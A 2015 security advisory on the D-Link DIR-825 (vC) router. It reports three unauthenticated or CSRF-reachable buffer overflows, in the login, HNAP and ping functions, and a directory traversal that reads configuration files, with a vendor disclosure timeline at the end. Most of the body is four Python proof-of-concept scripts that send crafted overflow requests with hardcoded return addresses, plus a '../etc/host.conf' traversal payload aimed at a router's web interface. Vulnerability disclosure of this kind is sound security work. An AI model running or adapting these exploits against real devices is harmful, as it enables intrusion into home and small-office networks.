D-Link DIR-825 Buffer Overflow / Directory Traversal
Posted on 17 November 2015
## Advisory Information Title: DIR-825 (vC) Buffer overflows in authentication,HNAP and ping functionalities. Also a directory traversal issue exists which can be exploited Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink) CVE: None Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061 However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares.The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes. ## Product Description DIR-825 (vC) -- Wireless AC750 Dual Band Gigabit Cloud Router. Mainly used by home and small offices. ## Vulnerabilities Summary Have come across 4 security issues in DIR-825 firmware which allows an attacker to exploit buffer overflows in authentication, HNAP and Ping functionalities. first 2 of the buffer overflows in auth and HNAP can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed. The ping functionality based buffer overflow and directory traversal would require an attacker to be on network and use XSRF to exploit buffer overflow whereas would require some sort of authentication as low privileged user atleast to exploit directory traversal. ## Details Buffer overflow in auth ------------------------------------------------------------------------------------------------------------------ ---- import socket import struct ''' 287 + XXXX in query_string value, right now only working with Exit address as sleep address has bad chars which disallows from using regular shellcode directly ''' buf = "GET /dws/api/Login?test=" buf+="B"*251 buf+="CCCC" #s0 buf+="FFFF" #s1 buf+="FFFF" #s2 buf+="FFFF" #s3 buf+="XXXX" #s4 buf+="HHHH" #s5 buf+="IIII" #s6 buf+="JJJJ" #s7 buf+="LLLL" buf+="x2axbcx8cxa0" # retn address buf+="C"*24 # buf+="sh;;" buf+="K"*20 buf+="x2axc0xd2xa0" #s1 buf+="x2axc0xd2xa0" #s1 buf +="CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCC" buf+="&password=A HTTP/1.1 HOST: 10.0.0.90 User-Agent: test Accept:text/html,application/xhtml +xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Connection:keep-alive " print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.0.0.90", 80)) s.send(buf) soc=s.recv(2048) print soc ------------------------------------------------------------------------------------------------------------------ ---- Buffer overflow in HNAP ------------------------------------------------------------------------------------------------------------------ ---- import socket import struct ''' 4138 + XXXX in SoapAction value, right now only working with Exit address as sleep address has bad chars which disallows from using regular shellcode directly ''' buf = "POST /HNAP1/ HTTP/1.1 " buf+= "Host: 10.0.0.90 " buf+="SOAPACTION:http://purenetworks.com/HNAP1/GetDeviceSettings/"+"A"*4138+"x2axbcx8cxa0"+"D"*834+" " buf+="Proxy-Connection: keep-alive " buf+="Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ== " buf+"Cache-Control: max-age=0 " buf+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 " buf+="User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36 " buf+="Accept-Encoding: gzip,deflate,sdch " buf+="Accept-Language: en-US,en;q=0.8 " buf+="Cookie: uid:1111; " buf+="Content-Length: 13 test=test " print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.0.0.90", 80)) s.send(buf) soc=s.recv(2048) print soc ------------------------------------------------------------------------------------------------------------------ ---- Directory traversal ------------------------------------------------------------------------------------------------------------------ ---- import socket import struct ''' Useful to do directory traversal attack which is possible in html_response_page variable below which prints the conf file, but theoretically any file, most likely only after login accessible ''' payload="html_response_page=../etc/host.conf&action=do_graph_auth&login_name=test&login_pass=test1&login_n=test2&l og_pass=test3&graph_code=63778&session_id=test5&test=test" buf = "POST /apply.cgi HTTP/1.1 " buf+= "Host: 10.0.0.90 " buf+="Proxy-Connection: keep-alive " buf+="Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ== " buf+"Cache-Control: max-age=0 " buf+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 " buf+="User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36 " buf+="Accept-Encoding: gzip,deflate,sdch " buf+="Accept-Language: en-US,en;q=0.8 " buf+="Cookie: session_id=test5; " buf+="Content-Length: "+str(len(payload))+" " buf+=payload+" " print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.0.0.90", 80)) s.send(buf) soc=s.recv(2048) print soc ------------------------------------------------------------------------------------------------------------------ ---- Buffer overflow in ping ------------------------------------------------------------------------------------------------------------------ ---- import socket import struct ''' 282 + XXXX in ping_ipaddr value, right now only working with Exit address as sleep address has bad chars which disallows from using regular shellcode directly ''' payload="html_response_page=tools_vct.asp&action=ping_test&html_response_return_page=tools_vct.asp&ping=ping&ping_ ipaddr=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"+"x2axbcx8cxa0"+"CCXXXXDDDDEEEE&test=test" buf = "POST /ping_response.cgi HTTP/1.1 " buf+= "Host: 10.0.0.90 " buf+="Proxy-Connection: keep-alive " buf+="Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ== " buf+"Cache-Control: max-age=0 " buf+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 " buf+="User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36 " buf+="Accept-Encoding: gzip,deflate,sdch " buf+="Accept-Language: en-US,en;q=0.8 " buf+="Cookie: session_id=test5; " buf+="Content-Length: "+str(len(payload))+" " buf+=payload+" " print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.0.0.90", 80)) s.send(buf) soc=s.recv(2048) print soc ------------------------------------------------------------------------------------------------------------------ ---- ## Report Timeline * April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline. * July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor * Nov 13, 2015: A public advisory is sent to security mailing lists. ## Credit This vulnerability was found by Samuel Huntley (samhuntley84@gmail.com).
